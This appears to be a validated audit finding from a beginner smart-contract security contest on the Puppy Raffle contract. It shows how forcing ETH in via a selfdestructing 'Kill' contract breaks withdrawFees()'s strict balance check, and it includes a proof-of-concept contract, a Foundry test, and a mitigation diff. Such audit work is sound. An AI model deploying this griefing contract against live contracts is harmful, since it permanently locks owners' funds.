Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

Strict Balance Equality Check Broken by Forced ETH Transfers

Description

The withdrawFees() function should allow the protocol owner to withdraw accumulated fees. The function should work reliably regardless of external actions.

The function requires address(this).balance == totalFees, but ETH can be forcibly sent to any contract via selfdestruct. This permanently breaks the equality check.

function withdrawFees() external {
@> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Risk

Likelihood: High

  • Any attacker can force ETH into the contract using selfdestruct

  • The attack costs only the small amount of ETH sent plus gas

Impact: Medium

  • All accumulated fees become permanently locked

  • Protocol loses all past and future revenue

  • No recovery mechanism exists

Proof of Concept

  1. PuppyRaffle contract has collected 1 ETH in fees (totalFees = 1 ETH)

  2. Attacker deploys a contract: contract Kill { constructor(address t) payable { selfdestruct(payable(t)); } }

  3. Attacker deploys with 0.01 ETH targeting PuppyRaffle

  4. 0.01 ETH is forcibly sent to PuppyRaffle without triggering any functions

  5. address(this).balance is now 1.01 ETH

  6. withdrawFees() always reverts: 1.01 ETH != 1 ETH

  7. All current and future fees are permanently locked

Recommended Mitigation

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!